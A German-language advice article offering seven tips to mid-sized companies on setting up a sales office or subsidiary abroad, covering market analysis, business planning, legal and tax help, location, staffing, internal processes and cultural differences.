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Internationalisierung: 7 Tipps für den Erfolg im Auslandsgeschäft

Die Großunternehmen machen es vor, der Mittelstand praktiziert es auch schon erfolgreich: es wird exportiert und internationalisiert. Nicht umsonst ist Deutschland immer noch Exportweltmeister. Und so manches Unternehmen trägt sich mit dem Gedanken, einen Auslandsmarkt selbst zu bearbeiten, in dem ein Vertriebsbüro oder eine Tochtergesellschaft im Zielland gegründet wird. Doch damit die Investition auch Früchte trägt, sollten einige Dinge beachtet werden, die dabei helfen, den Erfolg wahrscheinlicher werden zu lassen.

1. Marktanalyse und Markttest

Leider trifft man sie immer wieder: Unternehmen, die keine Marktanalyse gemacht haben, sondern etwas blauäugig eine Gesellschaft in einem Auslandsmarkt eröffneten (und dann wieder schließen mussten), der bspw. eine sehr hohe Wettbewerbsintensität mit niedrigem Preisniveau vereint. „Hätten wir das vorher gewusst…“ ist dann häufig der Kommentar.

Um solch teure Fehlinvestitionen zu vermeiden, lohnt es sich vor der Entscheidung eine Marktanalyse durchzuführen. Als Informationsquellen zu Land und Leuten können statistische Ämter und die Auslandshandelskammern dienen. Verbände und Wettbewerber geben einen ersten Eindruck über die Branche im Zielland. Potenziellen Kunden oder Branchenkenner anzurufen schadet ebenfalls nicht.

Nachdem die Informationen zusammen getragen und verdichtet wurden, ergibt sich bereits ein Bild, dass die Entscheidungsfindung für oder gegen die Investition unterstützt. Besteht noch Unsicherheit, lohnt es sich, den Markt zu testen. Das kann durch die Teilnahme an Messen geschehen oder in dem Direktmarketingmaßnahmen (bspw. Mailings) eingesetzt werden. Warum nicht ein Mailing an eine Auswahl potenzieller Kunden? Die Ausgaben dafür halten sich in Grenzen und es ist ein guter Indikator für die Erfolgsaussichten.

2. Planung ist das halbe Leben

Die Entscheidung ist gefallen, nun geht es an die Planung. Absatz- und Umsatzziele für das Zielland müssen gesteckt und einen Businessplan erarbeitet werden. Als Faustregel kann man davon ausgehen, dass nach 4-6 Jahren die Profitabilitätsschwelle erreichen wird. Ich habe zwar schon Fälle erlebt, bei denen Unternehmer nach 2 Jahren bereits die Investitionen wieder verdient hatten, das ist aber sicher nicht der Regelfall.

Weitere Fragen sind: Welche Kosten kommen auf das Unternehmen zu, um den Markt tatsächlich gut zu bearbeiten? Müssen länderspezifische Gegebenheiten, rechtliche Aspekte und anderes Kauf- bzw. Nutzerverhalten beachten werden? Es kann durchaus sein, dass das Geschäftsmodell im Ausland ein wenig angepasst werden muss, um erfolgreich zu sein. In Osteuropa bspw. sind in vielen Ländern Nachnahme bzw. Vorauszahlung die gängigsten Zahlungsmethoden im Endkundensegment. Würden auf Rechnung geliefert, wäre mit hohen Forderungsausfällen zu rechnen.

Ein Denken in Geschäftsplan-Szenarien hat sich sehr bewährt. Wie sieht das schlechteste Szenario aus? Wie das Beste? Was wird wahrscheinlich sein? Zudem sollten Umsatz- und Verlustzahlen festgesetzt werden, bei denen die Reißleine gezogen und der Markt verlassen wird.

3. Unterstützung bei der Gründung suchen

Gerade um alle rechtliche und steuerlichen Aspekte zu berücksichtigen, sind kompetente Ansprechpartner vor Ort essentiell. Rechtsanwälte, Steuer- sowie Unternehmensberater sollten sich sowohl mit dem inländischen als auch mit dem deutschen Gegebenheiten und Recht auskennen, um Unterschiede aufzeigen zu können.

Insbesondere bei der Gründung des Unternehmens ist die Wahl der richtigen Rechtsform von entscheidender Bedeutung. Ein Tipp: Man sollte nicht verzweifeln, wenn man feststellt, dass es im Zielland noch schlimmer zugeht als in unserer deutschen Bürokratie. Da ist Durchhaltevermögen und Geduld gefragt, die sich aber auszahlen.

In der Gründungsphase sollte auch der deutschen Steuerberater mit einbezogen werde. Je nach Unternehmensmodell müssen die Beteiligungen beim Finanzamt angegeben werden. Und unter Umständen muss dokumentiert und von den Steuerbehörden freigeben werden, zu welchen Verrechnungspreisen die Gesellschaften untereinander Geschäfte abwickeln.

4. Oft unterschätzt: Die richtige Standortwahl

Der Standort ist ein entscheidender Erfolgsfaktor bei der Internationalisierung. Es ist zu prüfen, ob dort qualifizierte und vertrauenswürdige Mitarbeiter zu finden sind. Man sollte zudem auf die Infrastruktur, Sonderwirtschaftszonen, Steuersätze, usw achten.  Ein nicht zu unterschätzender Faktor ist außerdem die Erreichbarkeit. Es macht wenig Spass, wenn die Anreise sehr lange dauert, nur weil sich in der Nähe kein Flughafen befindet, oder der Standort lediglich über Umwege erreichbar ist. Gerade in der Anfangsphase werden verantwortliche Mitarbeiter regelmäßig und in kurzen Zeitabständen die Niederlassung besuchen müssen.

In vielen Ländern existieren zudem Städte oder Landstriche, in denen die Bevölkerung deutsch spricht oder zumindest versteht. Das ist in Rumänien so, in Polen, in Frankreich und in vielen anderen Ländern auch. Ein Standort in diesem Gebiet ist dann von Vorteil, wenn die Sprachbarriere so niedrig wie möglich gehalten werden soll.

5. Achtung bei der Auswahl der Mitarbeiter

Angedeutet worden ist es schon. Vertrauenswürdige, loyale Mitarbeiter, die qualifiziert Ihre Arbeit erledigen sind auch im Ausland Gold wert. Das beginnt bei der Geschäftsleitung vor Ort. Man kann inländische Geschäftsführer suchen, viele Unternehmer schicken aber gerne einen deutschen Mitarbeiter zum Aufbau ins Zielland. Dass kostet zwar mehr (teilweise sogar deutlich mehr, wenn man bspw. von rumänischen Löhnen ausgeht), man hat aber jemanden vor Ort, dem man kennt und bereits vertraut. Dieser kann dann entsprechend die passenden Mitarbeiter suchen und einstellen. Zu Beginn ist außerdem eine höhere Fluktuation wahrscheinlich. Diese legt sich häufig nach einige Zeit, wenn das Team eingespielt ist.

6. Passen die Unternehmensprozesse zur Internationalisierung?

Häufig wird unterschätzt, dass auch interne Prozesse und Abteilungen von der Internationalisierung betroffen sind. Das fängt im Lager oder der Produktion an und hört in der Marketingabteilung auf.

Alle betroffenen Abteilungsleiter sollten relevante und kritische Prozesse, die angepasst oder neu eingeführt werden müssen besprechen. Auch nach dem Start einer Tochtergesellschaft im Ausland ist es ratsam diese Termine regelmäßig durchzuführen, um steuernd einzugreifen und nachzujustieren, wo es nötig ist.

7. Kulturelle Unterschiede: Vorsicht Falle…

„Wenn Du in Rom bist, so tue wie du siehst.“ Das gilt für das Geschäftsmodell, aber genau so für Mitarbeiter, Kunden, usw. Man muss sich vor jedem Besuch im Auslandsmarkt wieder bewusst werden, dass der Gegenüber einen anderen kulturellen Hintergrund hat, anders denkt, handelt und fühlt. Nahezu zu jedem Land gibt es kurze Tipps und Hinweise, welche kulturellen Unterschiede es gibt. Und das ist nicht nur bei Menschen aus Japan so, sondern es beginnt schon in der Schweiz oder Österreich.

Doch bei allen Unterschieden muss man immer wieder auf bestimmte Dinge pochen. Ich habe bspw. die Erfahrung gemacht, dass es in Osteuropa häufig nur schwer zu vermitteln ist, dass regelmäßige Reportings und Berichte an die Muttergesellschaft zu übermitteln sind. Mit etwas Geduld, Nachdruck und dem nötigen Fingerspitzengefühl geht aber auch das.

Ich möchte Sie ermutigen: Investieren Sie im Ausland, trauen Sie sich, einen Markt auch direkt zu bearbeiten. Wenn Sie einige Dinge beachten, werden Sie schnell erste Erfolge sehen. Viele Ländermärkte sind noch nicht so gesättigt wie der heimische und lechzen gerade zu danach bedient zu werden. Insbesondere mit der Marke „Made in Germany“.

Ich wünsche Ihnen viel Erfolg.

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